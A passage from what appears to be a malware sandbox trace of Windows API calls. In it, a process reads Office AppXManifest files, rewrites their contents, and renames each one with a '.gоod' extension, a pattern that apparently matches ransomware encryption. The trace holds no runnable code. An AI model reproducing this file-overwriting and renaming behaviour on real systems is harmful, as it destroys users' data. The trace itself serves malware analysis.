Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0131.945] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed260) returned 1 [0131.945] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0131.945] GetFileType (hFile=0x650) returned 0x1 [0131.945] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed1d0) returned 1 [0131.945] GetFileType (hFile=0x650) returned 0x1 [0131.945] GetFileSize (in: hFile=0x650, lpFileSizeHigh=0x1feed408 | out: lpFileSizeHigh=0x1feed408*=0x0) returned 0x4ed [0131.945] ReadFile (in: hFile=0x650, lpBuffer=0x36309d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1feed338, lpOverlapped=0x0 | out: lpBuffer=0x36309d8*, lpNumberOfBytesRead=0x1feed338*=0x4ed, lpOverlapped=0x0) returned 1 [0131.947] CloseHandle (hObject=0x650) returned 1 [0131.974] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecd40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0131.974] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed260) returned 1 [0131.974] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0131.975] GetFileType (hFile=0x650) returned 0x1 [0131.975] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed1d0) returned 1 [0131.975] GetFileType (hFile=0x650) returned 0x1 [0131.975] WriteFile (in: hFile=0x650, lpBuffer=0x36aaaa8*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x1feed248, lpOverlapped=0x0 | out: lpBuffer=0x36aaaa8*, lpNumberOfBytesWritten=0x1feed248*=0x4f0, lpOverlapped=0x0) returned 1 [0131.976] CloseHandle (hObject=0x650) returned 1 [0131.976] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0131.976] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml.gоod", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml.gоod", lpFilePart=0x0) returned 0x6d [0131.976] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed370) returned 1 [0131.976] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x1feed450 | out: lpFileInformation=0x1feed450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x4adf6ed6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4f0)) returned 1 [0131.976] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed330) returned 1 [0131.976] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml.gоod" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml.gоod")) returned 1 [0133.090] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0133.090] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed3b0) returned 1 [0133.090] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x3718680 | out: lpFileInformation=0x3718680*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8396fbd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8396fbd3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed)) returned 1 [0133.092] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed370) returned 1 [0133.118] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecd40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0133.118] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed260) returned 1 [0133.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0133.118] GetFileType (hFile=0x650) returned 0x1 [0133.118] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed1d0) returned 1 [0133.118] GetFileType (hFile=0x650) returned 0x1 [0133.118] GetFileSize (in: hFile=0x650, lpFileSizeHigh=0x1feed408 | out: lpFileSizeHigh=0x1feed408*=0x0) returned 0x4ed [0133.118] ReadFile (in: hFile=0x650, lpBuffer=0x3788440, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1feed338, lpOverlapped=0x0 | out: lpBuffer=0x3788440*, lpNumberOfBytesRead=0x1feed338*=0x4ed, lpOverlapped=0x0) returned 1 [0133.119] CloseHandle (hObject=0x650) returned 1 [0133.146] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecd40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0133.146] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed260) returned 1 [0133.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0133.147] GetFileType (hFile=0x650) returned 0x1 [0133.147] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed1d0) returned 1 [0133.147] GetFileType (hFile=0x650) returned 0x1 [0133.147] WriteFile (in: hFile=0x650, lpBuffer=0x38024a0*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x1feed248, lpOverlapped=0x0 | out: lpBuffer=0x38024a0*, lpNumberOfBytesWritten=0x1feed248*=0x4f0, lpOverlapped=0x0) returned 1 [0133.148] CloseHandle (hObject=0x650) returned 1 [0133.148] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0133.148] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml.gоod", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml.gоod", lpFilePart=0x0) returned 0x6d [0133.148] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed370) returned 1 [0133.148] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x1feed450 | out: lpFileInformation=0x1feed450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8396fbd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8396fbd3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x4b923e9a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4f0)) returned 1 [0133.148] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed330) returned 1 [0133.149] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml.gоod" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml.gоod")) returned 1 [0133.149] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0133.149] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed3b0) returned 1 [0133.149] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x3803808 | out: lpFileInformation=0x3803808*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83485006, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83485006, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x834ab261, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x80e56)) returned 1 [0133.149] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed370) returned 1 [0133.149] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecd90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0133.149] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed2b0) returned 1 [0133.150] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0133.150] GetFileType (hFile=0x650) returned 0x1 [0133.150] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed220) returned 1 [0133.150] GetFileType (hFile=0x650) returned 0x1 [0133.150] SetFilePointer (in: hFile=0x650, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1feed408*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1feed408*=0) returned 0x1000 [0133.150] ReadFile (in: hFile=0x650, lpBuffer=0x3803d50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1feed3d8, lpOverlapped=0x0 | out: lpBuffer=0x3803d50*, lpNumberOfBytesRead=0x1feed3d8*=0x1000, lpOverlapped=0x0) returned 1 [0133.425] CloseHandle (hObject=0x650) returned 1 [0133.425] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecd90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0133.425] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed2b0) returned 1 [0133.425] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0133.425] GetFileType (hFile=0x650) returned 0x1 [0133.425] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed220) returned 1 [0133.425] GetFileType (hFile=0x650) returned 0x1 [0133.425] SetFilePointer (in: hFile=0x650, lDistanceToMove=0, lpDistanceToMoveHigh=0x1feed408*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1feed408*=0) returned 0x80e56 [0133.425] WriteFile (in: hFile=0x650, lpBuffer=0x3799218*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1feed2f8, lpOverlapped=0x0 | out: lpBuffer=0x3799218*, lpNumberOfBytesWritten=0x1feed2f8*=0x10, lpOverlapped=0x0) returned 1 [0133.427] CloseHandle (hObject=0x650) returned 1 [0133.427] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecd90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0133.427] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed2b0) returned 1 [0133.427] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0133.427] GetFileType (hFile=0x650) returned 0x1 [0133.428] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed220) returned 1 [0133.428] GetFileType (hFile=0x650) returned 0x1 [0133.428] ReadFile (in: hFile=0x650, lpBuffer=0x379b570, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1feed388, lpOverlapped=0x0 | out: lpBuffer=0x379b570*, lpNumberOfBytesRead=0x1feed388*=0x1000, lpOverlapped=0x0) returned 1 [0133.490] CloseHandle (hObject=0x650) returned 1 [0133.490] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecd90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0133.490] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed2b0) returned 1 [0133.490] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0133.490] GetFileType (hFile=0x650) returned 0x1 [0133.490] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed220) returned 1 [0133.491] GetFileType (hFile=0x650) returned 0x1 [0133.491] WriteFile (in: hFile=0x650, lpBuffer=0x379a230*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1feed438, lpOverlapped=0x0 | out: lpBuffer=0x379a230*, lpNumberOfBytesWritten=0x1feed438*=0x1010, lpOverlapped=0x0) returned 1 [0133.491] CloseHandle (hObject=0x650) returned 1 [0133.491] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0133.491] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml.gоod", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml.gоod", lpFilePart=0x0) returned 0x6d [0133.491] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed370) returned 1 [0133.491] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x1feed450 | out: lpFileInformation=0x1feed450*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83485006, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83485006, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x4bc6d63f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x80e66)) returned 1 [0133.491] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed330) returned 1 [0133.491] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml.gоod" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml.gоod")) returned 1 [0133.492] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0133.492] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed3b0) returned 1 [0133.492] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x38472e0 | out: lpFileInformation=0x38472e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x834d1316, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834d1316, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed)) returned 1 [0133.492] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed370) returned 1 [0133.492] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecd40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0133.492] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed260) returned 1 [0133.493] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0133.493] GetFileType (hFile=0x650) returned 0x1 [0133.493] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed1d0) returned 1 [0133.493] GetFileType (hFile=0x650) returned 0x1 [0133.493] GetFileSize (in: hFile=0x650, lpFileSizeHigh=0x1feed408 | out: lpFileSizeHigh=0x1feed408*=0x0) returned 0x4ed [0133.493] ReadFile (in: hFile=0x650, lpBuffer=0x3847ba8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1feed338, lpOverlapped=0x0 | out: lpBuffer=0x3847ba8*, lpNumberOfBytesRead=0x1feed338*=0x4ed, lpOverlapped=0x0) returned 1 [0133.608] CloseHandle (hObject=0x650) returned 1 [0134.270] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecd40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0134.270] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed260) returned 1 [0134.270] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0134.271] GetFileType (hFile=0x630) returned 0x1 [0134.271] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed1d0) returned 1 [0134.271] GetFileType (hFile=0x630) returned 0x1 [0134.271] WriteFile (in: hFile=0x630, lpBuffer=0x3786fc0*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x1feed248, lpOverlapped=0x0 | out: lpBuffer=0x3786fc0*, lpNumberOfBytesWritten=0x1feed248*=0x4f0, lpOverlapped=0x0) returned 1 [0134.272] CloseHandle (hObject=0x630) returned 1 [0134.272] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0134.272] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml.gоod", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml.gоod", lpFilePart=0x0) returned 0x6d [0134.272] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed370) returned 1 [0134.273] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x1feed450 | out: lpFileInformation=0x1feed450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x834d1316, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834d1316, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x4c3e0c6b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4f0)) returned 1 [0134.273] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed330) returned 1 [0134.273] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml.gоod" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml.gоod")) returned 1 [0134.273] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 